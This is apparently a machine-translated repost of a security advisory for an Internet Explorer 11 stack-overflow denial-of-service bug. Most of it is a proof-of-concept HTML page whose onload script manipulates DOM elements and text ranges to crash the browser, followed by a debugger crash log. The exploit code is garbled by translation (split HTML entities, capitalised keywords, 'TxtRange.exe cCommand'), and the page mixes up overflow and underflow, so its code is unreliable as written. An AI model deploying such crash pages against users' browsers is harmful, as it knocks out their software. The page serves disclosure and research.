Microsoft Internet Explorer 11 Stack Overflow Denial of Service Vulnerability

Microsoft Internet Explorer 11 Stack Overflow Denial of Service Vulnerability
Microsoft Internet Explorer 11 Stack Overflow Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:

Microsoft Internet Explorer 11

Description:

Bugtraq id: 76651

Internet Explorer is a Web browser launched by Microsoft.

Microsoft Internet Explorer 11 has a remote denial of service vulnerability. Attackers can exploit this vulnerability to cause the affected applications to crash.

<* Source: Mjx
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<! --
# Exploit title: Microsoft Internet Explorer 11 Stack Underflow Crash PoC
# Date: 09.11.2015
# Vulnerable version: 11 (32bit version) (newest at the time 11.0.9600.17843 and 11.0.10240.16431)
# Tested on: Windows 7 64bit and Windows 10 (10240) 64bit
# Author: Mjx
# Http: // http://jinxin.pen.io/
-->
& Lt ;! Doctype html & gt;
& Lt; html & gt;
& Lt; head & gt;
& Lt; meta http-equiv = & #39; Cache-Control & #39; content = & #39; no-cache & #39;/& gt;

& Lt; title & gt; crash IE 11 & lt;/title & gt;
& Lt; style & gt; & lt;/style & gt;
& Lt; script type = & #39; text/javascript & #39; & gt; & lt;/script & gt;
& Lt; script & gt;

Function crash ()
{
Var id_0 = null;
Id_0 = document. createElement (& #39; THEAD & #39 ;);
Document. body. appendChild (id_0 );
ElemTree = [];
ElemTree [0] = document. createElement (& #39; SELECT & #39 ;);
Document. all [7]. appendChild (elemTree [0]);
ElemTree [1] = document. createElement (& #39; B & #39 ;);
Document. all [8]. appendChild (elemTree [1]);
ElemTree [2] = document. createElement (& #39; SOURCE & #39 ;);
Document. all [0]. appendChild (elemTree [2]);
ElemTree [3] = document. createElement (& #39; HR & #39 ;);
Document. all [8]. appendChild (elemTree [3]);
ElemTree [3]. setAttribute (& #39; hidden & #39;,-4400000000 );
ElemTree [4] = document. createElement (& #39; SELECT & #39 ;);
Document. all [9]. appendChild (elemTree [4]);
ElemTree [5] = document. createElement (& #39; RUBY & #39 ;);
Document. all [2]. appendChild (elemTree [5]);
ElemTree [6] = document. createElement (& #39; OL & #39 ;);
Document. all [4]. appendChild (elemTree [6]);
ElemTree [7] = document. createElement (& #39; AREA & #39 ;);
Document. all [6]. appendChild (elemTree [7]);
ElemTree [8] = document. createElement (& #39; ARTICLE & #39 ;);
Document. all [3]. appendChild (elemTree [8]);
ElemTree [9] = document. createElement (& #39; TEXTAREA & #39 ;);
Document. all [1]. appendChild (elemTree [9]);
TxtRange = document. body. createTextRange ();
TxtRange. moveEnd (& #39; character & #39;, 14 );
TxtRange. select ();
TxtRange.exe cCommand (& #39; insertUnorderedList & #39;, true, null );
TxtRange = document. body. createTextRange ();
TxtRange. moveEnd (& #39; sentence & #39;, 4 );
TxtRange. select ();
TxtRange.exe cCommand (& #39; insertOrderedList & #39;, true, null );

}
& Lt;/script & gt;
& Lt;/head & gt;
& Lt; body onload = & #39; crash (); & #39; & gt;

& Lt;/body & gt;
& Lt;/html & gt;

& Lt ;! --
(1428.1230): Stack overflow-code c00000fd (!!! Second chance !!!)
Eax = 00000004 ebx = 000f0000 ecx = 09ab319c edx = 00000004 esi = 47ce6fd8 edi = 00000000
Eip = 5fd166d9 esp = 09ab3000 ebp = 09ab3004 iopl = 0 nv up ei pl nz na po nc
Cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00010202
Verifier! AVrfpDphAllocateVm + 0x9:
5fd166d9 50 push eax
0: 008 & gt; kb
ChildEBP RetAddr Args to Child
09ab3004 5fd16800 09ab319c 09ab31a0 00001000 verifier! AVrfpDphAllocateVm + 0x9
09ab3184 5fd16a8d 09ab319c 09ab31a0 00000004 verifier! DphCommitMemoryForPageHeap + 0xf0
09ab31ac 5fd18e5d 000f1000 47de0068 00000000 verifier! AVrfpDphSetProtectionsBeforeUse + 0x8d
09ab31dc 77cf0d96 000f0000 01000002 00000028 verifier! AVrfDebugPageHeapAllocate + 0x1fd
0: 008 & gt; r
Eax = 00000004 ebx = 000f0000 ecx = 09ab319c edx = 00000004 esi = 47ce6fd8 edi = 00000000
Eip = 5fd166d9 esp = 09ab3000 ebp = 09ab3004 iopl = 0 nv up ei pl nz na po nc
Cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00010202
Verifier! AVrfpDphAllocateVm + 0x9:
5fd166d9 50 push eax
0: 008 & gt ;! Vprot esp-4
BaseAddress: 09ab2000
AllocationBase: 09ab0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 001fe000
Status: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
-Type: 00020000 MEM_PRIVATE


-->

Suggestion:

Vendor patch:

Microsoft
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.microsoft.com/windows/ie/default.asp

This article permanently updates the link address: